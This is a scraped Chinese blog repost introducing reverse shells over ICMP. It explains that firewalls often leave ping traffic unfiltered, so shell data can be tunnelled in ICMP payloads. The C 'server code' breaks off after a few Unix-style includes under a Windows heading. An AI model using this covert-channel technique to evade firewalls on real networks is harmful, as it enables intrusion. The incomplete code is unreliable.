当前位置：网站首页>利用ICMP协议反弹shell

利用ICMP协议反弹shell

2022-07-20 19:32:00 【千里:)】

简述

网络管理员通常使用各种各样的防火墙，以拦截各类渗透测试动作，如某防火墙允许已知的机器流量在端口和服务（入口过滤），并拥有强大的出口访问控制列表的设置。然而很多时候，为了方便运维管理，在各种安全策略中，ICMP协议通常是不会过滤的，通俗点说就是不会禁PING。

ICMP（Internet Control Message Protocol）Internet控制报文协议，是TCP/IP协议簇的一个子协议，用于在IP主机、路由器之间传递控制消息。如果在目标主机建立一个shell的管道，通过ICMP数据部分来传输协议即可实现远控过程中所需的数据交互。

服务端代码

Windows服务端：

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <netinet/in.h>
#include <netinet/ip_icmp.h>
#include <netinet/ip.h>
#include <string.h>
#include <unistd.h>
#incl
原网站

版权声明
本文为[千里:)]所创，转载请带上原文链接，感谢
https://wittpeng.blog.csdn.net/article/details/125891811

边栏推荐

猜你喜欢

随机推荐